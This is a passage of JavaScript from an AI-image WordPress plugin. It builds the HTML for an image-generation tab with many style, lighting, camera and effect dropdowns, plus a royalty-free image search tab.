xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"></path></svg> Save to Media Library</button> <br/><br/> </div> <div class="aiomatic-prompt-form"> <label for="aiomatic-textarea-control">AI Image Prompt: enter a detailed description of the image you would like to generate, for more about how to get the most out of created images, check this <a href="https://coderevolution.ro/knowledge-base/faq/basics-of-ai-prompt-engineering-for-best-quality-images/" target="_blank">prompt guide</a>.</label> <textarea style="width:100%;max-width:100%" id="aiomatic-textarea-control" rows="2" maxlength="450" placeholder="Your image prompt here"></textarea> </div> <div class="aiomatic-styles-form"> <div> <label>Select an image style</label> </div> <div> <select id="aiomatic-image-style" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="painting, digital art, trending on artstation">Painting</option> <option value="digital art, trending on artstation, hd">   Digital Art</option> <option value="oil painting, award winning">   Oil Painting</option> <option value="watercolor painting">   Watercolor</option> <option value="acrylic painting, award winning art, trending">   Acrylic</option> <option value="airbrush art">   Airbrushed</option> <option value="comic, comic book">   Comic Book</option> <option value="schematic blueprint">   Blueprint</option> <option value="made up of ink dots, artistic drawing, trending on artstation">   Ink Dot</option> <option value="artistic drawing, trending on artstation">Drawing</option> <option value="illustration, trending on artstation">   Illustration</option> <option value="cyberpunk, trending on artstation">   Cyberpunk</option> <option value="pencil sketch, drawing, trending on artstation">   Pencil</option> <option value="drawn in blue biro pen, artistic drawing, trending on artstation">   Pen</option> <option value="Ink dripping drawing, trending on artstation">   Ink</option> <option value="caligraphy">   Caligraphy</option> <option value="charcoal shaded, artistic drawing, trending on artstation">   Charcoal</option> <option value="cartoon">   Cartoon</option> <option value="comic, comic book">   Comic Book</option> <option value="schematic blueprint">   Blueprint</option> <option value="technical sketch">   Technical Sketch</option> <option value="made up of ink dots, artistic drawing, trending on artstation">   Ink Dot</option> <option value="line art">   Line Art</option> <option value="crayon drawing">   Crayon</option> <option value="pastel drawing, artistic">   Pastel</option> <option value="chalkboard drawing">   Chalkboard</option> <option value="animation">Animation</option> <option value="vintage disney animation">   Vintage Disney</option> <option value="Rendered by octane, disney animation studios">   Disney Animation</option> <option value="simpsons style animation">   Simpsons</option> <option value="anime style, Studio Ghibli, manga, trending on artstation">   Anime</option> <option value="disney pixar style animation, octane render">   Pixar</option> <option value="unreal engine, 3d render, Rendered by octane">Screen</option> <option value="Unreal Engine, Cinema 4D">   Video Game HD</option> <option value="animal crossing, mario, nintendo, pokemon">   Nintendo</option> <option value="3D render, composite">   3D Render</option> <option value="8bit graphics">   8bit</option> <option value="emoji">   Emoji</option> <option value="low poly ps1 graphics">   Low Poly</option> <option value="pixel art">   Pixel Art</option> <option value="ASCII art">   ASCII</option> <option value="photograph of, photo, 50mm portrait photograph">Photography (avoid people)</option> <option value="realistic photo of, award winning photograph, 50mm">   Realistic</option> <option value="Portrait photograph, symmetrical, award winning, bokeh, dof, Annie Leibovitz">   Portrait</option> <option value="polaroid photograph, polaroid frame">   Polaroid</option> <option value="war photograph, WWI photograph, WWII photograph">   War</option> <option value="Wildlife Photograph, national geographic photo, zoom, telephoto">   Wildlife</option> <option value="Photojournalism, award winning, photo of, magazine photograph">   Photojournalism</option> <option value="macro photograph, close up, zoom, depth of field">   Macro</option> <option value="long exposure, photograph, realistic">   Long Exposure</option> <option value="photograph, fish eye lense, wide-angle">   Fish Eye</option> <option value="realistic">Real Life Materials</option> <option value="statue">   Statue</option> <option value="marble statue">      Marble</option> <option value="stone statue">      stone</option> <option value="statue carved from wax">      Wax</option> <option value="origami paper folding">   Origami</option> <option value="paper mache art">   Paper Mache</option> <option value="paper cutout art">   Paper Cutout</option> <option value="graffiti street art">   Graffiti</option> <option value="halftone print">   Halftone</option> <option value="cross stitch art">   Cross Stitch</option> <option value="stained glass">   Stained Glass</option> <option value="made of crystals">   Crystal</option> <option value="made of flowers">   Flowery</option> <option value="Style: Surrealism">Surrealism</option><option value="Style: Abstract">Abstract</option><option value="Style: Abstract Expressionism">Abstract Expressionism</option><option value="Style: Action painting">Action painting</option><option value="Style: Art Brut">Art Brut</option> <option value="Style: Art Deco">Art Deco</option><option value="Style: Art Nouveau">Art Nouveau</option><option value="Style: Baroque">Baroque</option><option value="Style: Byzantine">Byzantine</option><option value="Style: Classical">Classical</option><option value="Style: Color Field">Color Field</option> <option value="Style: Conceptual">Conceptual</option><option value="Style: Cubism">Cubism</option><option value="Style: Dada">Dada</option><option value="Style: Expressionism">Expressionism</option><option value="Style: Fauvism">Fauvism</option><option value="Style: Figurative">Figurative</option> <option value="Style: Futurism">Futurism</option> <option value="Style: Gothic">Gothic</option><option value="Style: Hard-edge painting">Hard-edge painting</option><option value="Style: Hyperrealism">Hyperrealism</option><option value="Style: Impressionism">Impressionism</option><option value="Style: Japonisme">Japonisme</option> <option value="Style: Luminism">Luminism</option><option value="Style: Lyrical Abstraction">Lyrical Abstraction</option><option value="Style: Mannerism">Mannerism</option><option value="Style: Minimalism">Minimalism</option><option value="Style: Naive Art">Naive Art</option> <option value="Style: New Realism">New Realism</option><option value="Style: Neo-expressionism">Neo-expressionism</option><option value="Style: Neo-pop">Neo-pop</option><option value="Style: Op Art">Op Art</option><option value="Style: Opus Anglicanum">Opus Anglicanum</option> <option value="Style: Outsider Art">Outsider Art</option><option value="Style: Pop Art">Pop Art</option><option value="Style: Photorealism">Photorealism</option><option value="Style: Pointillism">Pointillism</option> <option value="Style: Post-Impressionism">Post-Impressionism</option><option value="Style: Realism">Realism</option><option value="Style: Renaissance">Renaissance</option><option value="Style: Rococo">Rococo</option><option value="Style: Romanticism">Romanticism</option> <option value="Style: Street Art">Street Art</option><option value="Style: Superflat">Superflat</option><option value="Style: Symbolism">Symbolism</option><option value="Style: Tenebrism">Tenebrism</option><option value="Style: Ukiyo-e">Ukiyo-e</option><option value="Style: Western Art">Western Art</option> <option value="Style: YBA">YBA</option> </select> </div> <div> <label for="aiomatic-artist-style">Select an Artist style</label> </div> <div> <select id="aiomatic-artist-style" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Artist: Salvador Dalí">Salvador Dalí</option><option value="Artist: Leonardo da Vinci">Leonardo da Vinci</option><option value="Artist: Michelangelo">Michelangelo</option><option value="Artist: Albrecht Dürer">Albrecht Dürer</option><option value="Artist: Alfred Sisley">Alfred Sisley</option><option value="Artist: Andrea Mantegna">Andrea Mantegna</option><option value="Artist: Andy Warhol">Andy Warhol</option><option value="Artist: Amedeo Modigliani">Amedeo Modigliani</option><option value="Artist: Camille Pissarro">Camille Pissarro</option><option value="Artist: Caravaggio">Caravaggio</option><option value="Artist: Caspar David Friedrich">Caspar David Friedrich</option><option value="Artist: Cézanne">Cézanne</option> <option value="Artist: Claude Monet">Claude Monet</option><option value="Artist: Diego Velázquez">Diego Velázquez</option><option value="Artist: Eugène Delacroix">Eugène Delacroix</option><option value="Artist: Frida Kahlo">Frida Kahlo</option><option value="Artist: Gustav Klimt">Gustav Klimt</option><option value="Artist: Henri Matisse">Henri Matisse</option><option value="Artist: Henri de Toulouse-Lautrec">Henri de Toulouse-Lautrec</option><option value="Artist: Jackson Pollock">Jackson Pollock</option><option value="Artist: Jasper Johns">Jasper Johns</option><option value="Artist: Joan Miró">Joan Miró</option><option value="Artist: John Singer Sargent">John Singer Sargent</option><option value="Artist: Johannes Vermeer">Johannes Vermeer</option><option value="Artist: Mary Cassatt">Mary Cassatt</option> <option value="Artist: M. C. Escher">M. C. Escher</option><option value="Artist: Paul Cézanne">Paul Cézanne</option><option value="Artist: Paul Gauguin">Paul Gauguin</option> <option value="Artist: Paul Klee">Paul Klee</option><option value="Artist: Pierre-Auguste Renoir">Pierre-Auguste Renoir</option><option value="Artist: Pieter Bruegel the Elder">Pieter Bruegel the Elder</option><option value="Artist: Piet Mondrian">Piet Mondrian</option><option value="Artist: Pablo Picasso">Pablo Picasso</option><option value="Artist: Rembrandt">Rembrandt</option><option value="Artist: René Magritte">René Magritte</option><option value="Artist: Raphael">Raphael</option><option value="Artist: Sandro Botticelli">Sandro Botticelli</option><option value="Artist: Titian">Titian</option><option value="Artist: Theo van Gogh">Theo van Gogh</option><option value="Artist: Vincent van Gogh">Vincent van Gogh</option><option value="Artist: Vassily Kandinsky">Vassily Kandinsky</option><option value="Artist: Winslow Homer">Winslow Homer</option> <option value="by Albert Bierstadt">Albert Bierstadt</option> <option value="by Asaf Hanuka">Asaf Hanuka</option> <option value="by Aubrey Beardsley">Aubrey Beardsley</option> <option value="by Diego Rivera">Diego Rivera</option> <option value="by Greg Rutkowski">Greg Rutkowski</option> <option value="by Hayao Miyazaki">Hayao Miyazaki</option> <option value="by Hieronymus Bosch">Hieronymus Bosch</option> <option value="by artgerm, art germ">Stanley Artgerm</option> <option value="by Thomas Kinkade">Thomas Kinkade</option> </select> </div> <div> <label for="aiomatic-style-modifier">Select a style modifier</label> </div> <div> <select id="aiomatic-style-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="in the style of steampunk">Steampunk</option> <option value="synthwave">Synthwave</option> <option value="in the style of cyberpunk">Cyberpunk</option> <option value="insanely detailed and intricate, hypermaximalist, elegant, ornate, hyper realistic, super detailed">Detailed & Intricate</option> <option value="in a symbolic and meaningful style, insanely detailed and intricate, hypermaximalist, elegant, ornate, hyper realistic, super detailed">Symbolic & Meaningful</option> <option value="Cinematic Lighting">Cinematic Lighting</option> <option value="Contre-Jour">Contre-Jour</option> <option value="futuristic">Futuristic</option> <option value="black and white">Black & White</option> <option value="technicolor">Technicolor</option> <option value="warm color palette">Warm</option> <option value="neon">Neon</option> <option value="colorful">Colorful</option> </select> </div> <div> <label for="aiomatic-photography-modifier">Select a photography type</label> </div> <div> <select id="aiomatic-photography-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Photography: Portrait">Portrait</option><option value="Photography: Landscape">Landscape</option><option value="Photography: Abstract">Abstract</option><option value="Photography: Action">Action</option><option value="Photography: Aerial">Aerial</option><option value="Photography: Agricultural">Agricultural</option><option value="Photography: Animal">Animal</option><option value="Photography: Architectural">Architectural</option><option value="Photography: Artistic">Artistic</option><option value="Photography: Astrophotography">Astrophotography</option><option value="Photography: Bird photography">Bird photography</option><option value="Photography: Black and white">Black and white</option><option value="Photography: Candid">Candid</option><option value="Photography: Cityscape">Cityscape</option><option value="Photography: Close-up">Close-up</option><option value="Photography: Commercial">Commercial</option><option value="Photography: Conceptual">Conceptual</option> <option value="Photography: Corporate">Corporate</option><option value="Photography: Documentary">Documentary</option><option value="Photography: Event">Event</option><option value="Photography: Family">Family</option><option value="Photography: Fashion">Fashion</option><option value="Photography: Fine art">Fine art</option><option value="Photography: Food">Food</option><option value="Photography: Food photography">Food photography</option><option value="Photography: Glamour">Glamour</option><option value="Photography: Industrial">Industrial</option><option value="Photography: Lifestyle">Lifestyle</option><option value="Photography: Macro">Macro</option><option value="Photography: Nature">Nature</option><option value="Photography: Night">Night</option><option value="Photography: Product">Product</option><option value="Photography: Sports">Sports</option><option value="Photography: Street">Street</option><option value="Photography: Travel">Travel</option><option value="Photography: Underwater">Underwater</option><option value="Photography: Wedding">Wedding</option><option value="Photography: Wildlife">Wildlife</option> </select> </div> <div> <label for="aiomatic-lighting-modifier">Select a lighting type</label> </div> <div> <select id="aiomatic-lighting-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Lighting: Ambient">Ambient</option><option value="Lighting: Artificial light">Artificial light</option><option value="Lighting: Backlight">Backlight</option><option value="Lighting: Black light">Black light</option><option value="Lighting: Blue hour">Blue hour</option><option value="Lighting: Candle light">Candle light</option><option value="Lighting: Chiaroscuro">Chiaroscuro</option><option value="Lighting: Cloudy">Cloudy</option><option value="Lighting: Color gels">Color gels</option><option value="Lighting: Continuous light">Continuous light</option><option value="Lighting: Contre-jour">Contre-jour</option><option value="Lighting: Direct light">Direct light</option><option value="Lighting: Direct sunlight">Direct sunlight</option><option value="Lighting: Diffused light">Diffused light</option><option value="Lighting: Firelight">Firelight</option><option value="Lighting: Flash">Flash</option><option value="Lighting: Flat light">Flat light</option><option value="Lighting: Fluorescent">Fluorescent</option><option value="Lighting: Fog">Fog</option><option value="Lighting: Front light">Front light</option><option value="Lighting: Golden hour">Golden hour</option><option value="Lighting: Hard light">Hard light</option><option value="Lighting: Hazy sunlight">Hazy sunlight</option><option value="Lighting: High key">High key</option><option value="Lighting: Incandescent">Incandescent</option> <option value="Lighting: Key light">Key light</option><option value="Lighting: LED">LED</option><option value="Lighting: Low key">Low key</option><option value="Lighting: Moonlight">Moonlight</option><option value="Lighting: Natural light">Natural light</option><option value="Lighting: Neon">Neon</option><option value="Lighting: Open shade">Open shade</option><option value="Lighting: Overcast">Overcast</option><option value="Lighting: Paramount">Paramount</option><option value="Lighting: Party lights">Party lights</option><option value="Lighting: Photoflood">Photoflood</option><option value="Lighting: Quarter light">Quarter light</option><option value="Lighting: Reflected light">Reflected light</option><option value="Lighting: Rim light">Rim light</option><option value="Lighting: Shaded">Shaded</option><option value="Lighting: Shaded light">Shaded light</option><option value="Lighting: Silhouette">Silhouette</option><option value="Lighting: Side light">Side light</option><option value="Lighting: Single-source">Single-source</option><option value="Lighting: Softbox">Softbox</option><option value="Lighting: Soft light">Soft light</option><option value="Lighting: Split lighting">Split lighting</option> <option value="Lighting: Stage lighting">Stage lighting</option><option value="Lighting: Studio light">Studio light</option><option value="Lighting: Sunburst">Sunburst</option><option value="Lighting: Tungsten">Tungsten</option><option value="Lighting: Umbrella lighting">Umbrella lighting</option><option value="Lighting: Underexposed">Underexposed</option><option value="Lighting: Venetian blinds">Venetian blinds</option><option value="Lighting: Warm light">Warm light</option><option value="Lighting: White balance">White balance</option> </select> </div> <div> <label for="aiomatic-subject-modifier">Select a subject type</label> </div> <div> <select id="aiomatic-subject-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Subject: Landscapes">Landscapes</option><option value="Subject: People">People</option><option value="Subject: Animals">Animals</option><option value="Subject: Food">Food</option><option value="Subject: Cars">Cars</option><option value="Subject: Architecture">Architecture</option><option value="Subject: Flowers">Flowers</option><option value="Subject: Still life">Still life</option><option value="Subject: Portrait">Portrait</option><option value="Subject: Cityscapes">Cityscapes</option><option value="Subject: Seascapes">Seascapes</option><option value="Subject: Nature">Nature</option><option value="Subject: Action">Action</option><option value="Subject: Events">Events</option><option value="Subject: Street">Street</option><option value="Subject: Abstract">Abstract</option><option value="Subject: Candid">Candid</option><option value="Subject: Underwater">Underwater</option><option value="Subject: Night">Night</option><option value="Subject: Wildlife">Wildlife</option> </select> </div> <div> <label for="aiomatic-camera-modifier">Select a camera type</label> </div> <div> <select id="aiomatic-camera-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Camera: Aperture">Aperture</option><option value="Camera: Active D-Lighting">Active D-Lighting</option><option value="Camera: Auto Exposure Bracketing">Auto Exposure Bracketing</option><option value="Camera: Auto Focus Mode">Auto Focus Mode</option><option value="Camera: Auto Focus Point">Auto Focus Point</option><option value="Camera: Auto Lighting Optimizer">Auto Lighting Optimizer</option><option value="Camera: Auto Rotate">Auto Rotate</option><option value="Camera: Aspect Ratio">Aspect Ratio</option><option value="Camera: Audio Recording">Audio Recording</option><option value="Camera: Auto ISO">Auto ISO</option><option value="Camera: Chromatic Aberration Correction">Chromatic Aberration Correction</option><option value="Camera: Color Space">Color Space</option><option value="Camera: Continuous Shooting">Continuous Shooting</option><option value="Camera: Distortion Correction">Distortion Correction</option><option value="Camera: Drive Mode">Drive Mode</option><option value="Camera: Dynamic Range">Dynamic Range</option><option value="Camera: Exposure Compensation">Exposure Compensation</option><option value="Camera: Flash Mode">Flash Mode</option><option value="Camera: Focus Mode">Focus Mode</option><option value="Camera: Focus Peaking">Focus Peaking</option><option value="Camera: Frame Rate">Frame Rate</option><option value="Camera: GPS">GPS</option><option value="Camera: Grid Overlay">Grid Overlay</option><option value="Camera: High Dynamic Range">High Dynamic Range</option> <option value="Camera: Highlight Tone Priority">Highlight Tone Priority</option><option value="Camera: Image Format">Image Format</option><option value="Camera: Image Stabilization">Image Stabilization</option><option value="Camera: Interval Timer Shooting">Interval Timer Shooting</option><option value="Camera: ISO">ISO</option><option value="Camera: ISO Auto Setting">ISO Auto Setting</option><option value="Camera: Lens Correction">Lens Correction</option><option value="Camera: Live View">Live View</option><option value="Camera: Long Exposure Noise Reduction">Long Exposure Noise Reduction</option><option value="Camera: Manual Focus">Manual Focus</option><option value="Camera: Metering Mode">Metering Mode</option><option value="Camera: Movie Mode">Movie Mode</option><option value="Camera: Movie Quality">Movie Quality</option><option value="Camera: Noise Reduction">Noise Reduction</option><option value="Camera: Picture Control">Picture Control</option><option value="Camera: Picture Style">Picture Style</option><option value="Camera: Quality">Quality</option><option value="Camera: Self-Timer">Self-Timer</option><option value="Camera: Shutter Speed">Shutter Speed</option><option value="Camera: Time-lapse Interval">Time-lapse Interval</option><option value="Camera: Time-lapse Recording">Time-lapse Recording</option><option value="Camera: Virtual Horizon">Virtual Horizon</option><option value="Camera: Video Format">Video Format</option><option value="Camera: White Balance">White Balance</option><option value="Camera: Zebra Stripes">Zebra Stripes</option> </select> </div> <div> <label for="aiomatic-composition-modifier">Select a composition type</label> </div> <div> <select id="aiomatic-composition-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Composition: Rule of Thirds">Rule of Thirds</option><option value="Composition: Asymmetrical">Asymmetrical</option><option value="Composition: Balance">Balance</option><option value="Composition: Centered">Centered</option><option value="Composition: Close-up">Close-up</option><option value="Composition: Color blocking">Color blocking</option><option value="Composition: Contrast">Contrast</option><option value="Composition: Cropping">Cropping</option><option value="Composition: Diagonal">Diagonal</option><option value="Composition: Documentary">Documentary</option><option value="Composition: Environmental Portrait">Environmental Portrait</option><option value="Composition: Fill the Frame">Fill the Frame</option><option value="Composition: Framing">Framing</option><option value="Composition: Golden Ratio">Golden Ratio</option><option value="Composition: High Angle">High Angle</option><option value="Composition: Leading Lines">Leading Lines</option><option value="Composition: Long Exposure">Long Exposure</option><option value="Composition: Low Angle">Low Angle</option><option value="Composition: Macro">Macro</option><option value="Composition: Minimalism">Minimalism</option><option value="Composition: Negative Space">Negative Space</option><option value="Composition: Panning">Panning</option><option value="Composition: Patterns">Patterns</option><option value="Composition: Photojournalism">Photojournalism</option> <option value="Composition: Point of View">Point of View</option><option value="Composition: Portrait">Portrait</option><option value="Composition: Reflections">Reflections</option><option value="Composition: Saturation">Saturation</option><option value="Composition: Scale">Scale</option><option value="Composition: Selective Focus">Selective Focus</option><option value="Composition: Shallow Depth of Field">Shallow Depth of Field</option><option value="Composition: Silhouette">Silhouette</option><option value="Composition: Simplicity">Simplicity</option><option value="Composition: Snapshot">Snapshot</option><option value="Composition: Street Photography">Street Photography</option><option value="Composition: Symmetry">Symmetry</option><option value="Composition: Telephoto">Telephoto</option><option value="Composition: Texture">Texture</option><option value="Composition: Tilt-Shift">Tilt-Shift</option><option value="Composition: Time-lapse">Time-lapse</option><option value="Composition: Tracking Shot">Tracking Shot</option><option value="Composition: Travel">Travel</option><option value="Composition: Triptych">Triptych</option><option value="Composition: Ultra-wide">Ultra-wide</option><option value="Composition: Vanishing Point">Vanishing Point</option><option value="Composition: Viewpoint">Viewpoint</option><option value="Composition: Vintage">Vintage</option><option value="Composition: Wide Angle">Wide Angle</option> <option value="Composition: Zoom Blur">Zoom Blur</option><option value="Composition: Zoom In/Zoom Out">Zoom In/Zoom Out</option> </select> </div> <div> <label for="aiomatic-resolution-modifier">Select a resolution type</label> </div> <div> <select id="aiomatic-resolution-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Resolution: 4K (3840x2160)">4K (3840x2160)</option><option value="Resolution: 1080p (1920x1080)">1080p (1920x1080)</option><option value="Resolution: 720p (1280x720)">720p (1280x720)</option><option value="Resolution: 480p (854x480)">480p (854x480)</option><option value="Resolution: 2K (2560x1440)">2K (2560x1440)</option><option value="Resolution: 1080i (1920x1080)">1080i (1920x1080)</option><option value="Resolution: 720i (1280x720)">720i (1280x720)</option> </select> </div> <div> <label for="aiomatic-color-modifier">Select a color type</label> </div> <div> <select id="aiomatic-color-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Color: RGB">RGB</option><option value="Color: CMYK">CMYK</option><option value="Color: Grayscale">Grayscale</option><option value="Color: HEX">HEX</option><option value="Color: Pantone">Pantone</option><option value="Color: CMY">CMY</option><option value="Color: HSL">HSL</option><option value="Color: HSV">HSV</option><option value="Color: LAB">LAB</option><option value="Color: LCH">LCH</option><option value="Color: LUV">LUV</option><option value="Color: XYZ">XYZ</option><option value="Color: YUV">YUV</option><option value="Color: YIQ">YIQ</option><option value="Color: YCbCr">YCbCr</option><option value="Color: YPbPr">YPbPr</option><option value="Color: YDbDr">YDbDr</option><option value="Color: YCoCg">YCoCg</option><option value="Color: YCgCo">YCgCo</option><option value="Color: YCC">YCC</option> </select> </div> <div> <label for="aiomatic-effects-modifier">Select a special effects type</label> </div> <div> <select id="aiomatic-effects-modifier" style="width:100%;max-width:100%"> <option selected value="" disabled>Select a value...</option> <option value="Special Effects: Cinemagraph">Cinemagraph</option><option value="Special Effects: 3D">3D</option><option value="Special Effects: Add Noise">Add Noise</option><option value="Special Effects: Black and White">Black and White</option><option value="Special Effects: Blur">Blur</option><option value="Special Effects: Bokeh">Bokeh</option><option value="Special Effects: Brightness and Contrast">Brightness and Contrast</option><option value="Special Effects: Camera Shake">Camera Shake</option><option value="Special Effects: Clarity">Clarity</option><option value="Special Effects: Color Balance">Color Balance</option><option value="Special Effects: Color Pop">Color Pop</option><option value="Special Effects: Color Temperature">Color Temperature</option><option value="Special Effects: Cross Processing">Cross Processing</option><option value="Special Effects: Crop and Rotate">Crop and Rotate</option><option value="Special Effects: Dehaze">Dehaze</option><option value="Special Effects: Denoise">Denoise</option><option value="Special Effects: Diffuse Glow">Diffuse Glow</option><option value="Special Effects: Displace">Displace</option><option value="Special Effects: Distort">Distort</option><option value="Special Effects: Double exposure">Double exposure</option><option value="Special Effects: Duotone">Duotone</option><option value="Special Effects: Edge Detection">Edge Detection</option><option value="Special Effects: Emboss">Emboss</option><option value="Special Effects: Exposure">Exposure</option> <option value="Special Effects: Fish Eye">Fish Eye</option><option value="Special Effects: Flare">Flare</option><option value="Special Effects: Flip">Flip</option><option value="Special Effects: Fractalius">Fractalius</option><option value="Special Effects: Glowing Edges">Glowing Edges</option><option value="Special Effects: Gradient Map">Gradient Map</option><option value="Special Effects: Grayscale">Grayscale</option> <option value="Special Effects: Halftone">Halftone</option><option value="Special Effects: HDR">HDR</option><option value="Special Effects: HDR Look">HDR Look</option><option value="Special Effects: High Pass">High Pass</option><option value="Special Effects: Hue and Saturation">Hue and Saturation</option><option value="Special Effects: Impressionist">Impressionist</option><option value="Special Effects: Infrared">Infrared</option><option value="Special Effects: Invert">Invert</option><option value="Special Effects: Lens Correction">Lens Correction</option><option value="Special Effects: Lens flare">Lens flare</option><option value="Special Effects: Lomo Effect">Lomo Effect</option><option value="Special Effects: Motion Blur">Motion Blur</option><option value="Special Effects: Night Vision">Night Vision</option><option value="Special Effects: Oil Painting">Oil Painting</option><option value="Special Effects: Old Photo">Old Photo</option><option value="Special Effects: Orton Effect">Orton Effect</option><option value="Special Effects: Panorama">Panorama</option><option value="Special Effects: Pinch">Pinch</option><option value="Special Effects: Pixelate">Pixelate</option><option value="Special Effects: Polar Coordinates">Polar Coordinates</option><option value="Special Effects: Posterize">Posterize</option><option value="Special Effects: Radial Blur">Radial Blur</option><option value="Special Effects: Rain">Rain</option><option value="Special Effects: Reflect">Reflect</option><option value="Special Effects: Ripple">Ripple</option> <option value="Special Effects: Sharpen">Sharpen</option><option value="Special Effects: Slow motion">Slow motion</option><option value="Special Effects: Stop-motion">Stop-motion</option><option value="Special Effects: Solarize">Solarize</option><option value="Special Effects: Starburst">Starburst</option><option value="Special Effects: Sunburst">Sunburst</option><option value="Special Effects: Timelapse">Timelapse</option> <option value="Special Effects: Tilt-shift">Tilt-shift</option><option value="Special Effects: Vignette">Vignette</option><option value="Special Effects: Zoom blur">Zoom blur</option></select> </div> <div> <label for="aiomatic-size-modifier">Select image size</label> </div> <div> <select id="aiomatic-size-modifier" style="width:100%;max-width:100%"> <option value="1024x1024">1024x1024</option> <option selected value="512x512">512x512</option> <option value="256x256">256x256</option> </select> </div> <div> <label for="aiomatic-ai-modifier">Select AI Source</label> </div> <div> <select id="aiomatic-ai-modifier" style="width:100%;max-width:100%" onchange="aiomaticModelChanged();">` + aimodels + `</select> </div> </div> <br/> <div> <button type="button" id="aiomatic_image_get" class="button load-more button-primary" onclick="aiomatic_go_get_images();"><svg style="color: white" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-robot" viewBox="0 0 16 16"> <path d="M6 12.5a.5.5 0 0 1 .5-.5h3a.5.5 0 0 1 0 1h-3a.5.5 0 0 1-.5-.5ZM3 8.062C3 6.76 4.235 5.765 5.53 5.886a26.58 26.58 0 0 0 4.94 0C11.765 5.765 13 6.76 13 8.062v1.157a.933.933 0 0 1-.765.935c-.845.147-2.34.346-4.235.346-1.895 0-3.39-.2-4.235-.346A.933.933 0 0 1 3 9.219V8.062Zm4.542-.827a.25.25 0 0 0-.217.068l-.92.9a24.767 24.767 0 0 1-1.871-.183.25.25 0 0 0-.068.495c.55.076 1.232.149 2.02.193a.25.25 0 0 0 .189-.071l.754-.736.847 1.71a.25.25 0 0 0 .404.062l.932-.97a25.286 25.286 0 0 0 1.922-.188.25.25 0 0 0-.068-.495c-.538.074-1.207.145-1.98.189a.25.25 0 0 0-.166.076l-.754.785-.842-1.7a.25.25 0 0 0-.182-.135Z" fill="white"></path> <path d="M8.5 1.866a1 1 0 1 0-1 0V3h-2A4.5 4.5 0 0 0 1 7.5V8a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1v1a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-1a1 1 0 0 0 1-1V9a1 1 0 0 0-1-1v-.5A4.5 4.5 0 0 0 10.5 3h-2V1.866ZM14 7.5V13a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V7.5A3.5 3.5 0 0 1 5.5 4h5A3.5 3.5 0 0 1 14 7.5Z" fill="white"></path> </svg>  Generate</button> </div> <div> <span id="openai-image-response"></span> </div> </fieldset> </div> <div class="aiomatic-footer"> </div> </figure> </div> `; if(jQuery('body .media-modal-content .media-frame-content')[0] !== undefined) { jQuery('body .media-modal-content .media-frame-content').html(html); } else { if(jQuery('.aiomatic-image-tab-1')[0] !== undefined) { jQuery('.aiomatic-image-tab-1').html(html); } } } jQuery(document).ready(function() { jQuery(document).on('click',".aiomatic_ai_image_response_royalty",function () { if (jQuery(this).hasClass("selectable")) { jQuery('.thumbnail').removeClass('aiomaticselected'); jQuery(this).addClass('aiomaticselected'); selectedImage = jQuery(this).attr('src'); jQuery('#aiomatic_image_upload_royalty').prop('disabled', false); } }); }); function aiomaticCapitalizeFirstLetter(string) { return string.charAt(0).toUpperCase() + string.slice(1); } function AiomaticDoMyTabRoyaltyContent() { if(aiomatic_img_ajax_object.royalty_free_sources.length > 0) { var aimodels = ''; aiomatic_img_ajax_object.royalty_free_sources.forEach(async (imgsource) => { aimodels += '<option value="' + imgsource + '">' + aiomaticCapitalizeFirstLetter(imgsource) + '</option>'; }); } else { var aimodels = '<option disabled value="no_source" selected>No royalty free sources enabled</option>'; } var html = ` <style>.aiomaticselected { border: 3px solid blue; } </style> <div id="aiomatic-block-editor-royalty" class="aiomatic-block-editor"> <figure class="block-editor-block-list__block wp-block is-selected wp-block-uploads-aiomatic" style="display: block;margin-block-start: 1em;margin-block-end: 1em;margin-inline-start: 40px;margin-inline-end: 40px;width:auto;max-width:100%"> <div> <fieldset> <h4>Search for royalty free images, based on your options:</h4> <div class="aiomatic-image-result cr_image_center" id="aiomatic_image_div_royalty"></div> <div class="aiomatic-image-div" id="aiomatic-image-upload-royalty" style="display:none;"> <button type="button" id="aiomatic_image_upload_royalty" class="button load-more button-primary" onclick="aiomatic_upload_images_royalty();" disabled><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"></path></svg> Save to Media Library</button> <br/><br/> </div> <div class="aiomatic-prompt-form"> <label for="aiomatic-textarea-control-royalty">Search Keyword: enter a search keyword for which, royalty free images should be searched.</label> <textarea style="width:100%;max-width:100%" id="aiomatic-textarea-control-royalty" rows="2" maxlength="450" placeholder="Your image keyword here"></textarea> </div> <div> <label for="aiomatic-ai-modifier">Select Image Source</label> </div> <div> <select id="aiomatic-ai-modifier-royalty" style="width:100%;max-width:100%">` + aimodels + `</select> </div> </div> <br/> <div> <button type="button" id="aiomatic_image_get_royalty" class="button load-more button-primary" onclick="aiomatic_go_get_free_images();"><svg style="color: white" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-robot" viewBox="0 0 16 16"> <path d="M6 12.5a.5.5 0 0 1 .5-.5h3a.5.5 0 0 1 0 1h-3a.5.5 0 0 1-.5-.5ZM3 8.062C3 6.76 4.235 5.765 5.53 5.886a26.58 26.58 0 0 0 4.94 0C11.765 5.765 13 6.76 13 8.062v1.157a.933.933 0 0 1-.765.935c-.845.147-2.34.346-4.235.346-1.895 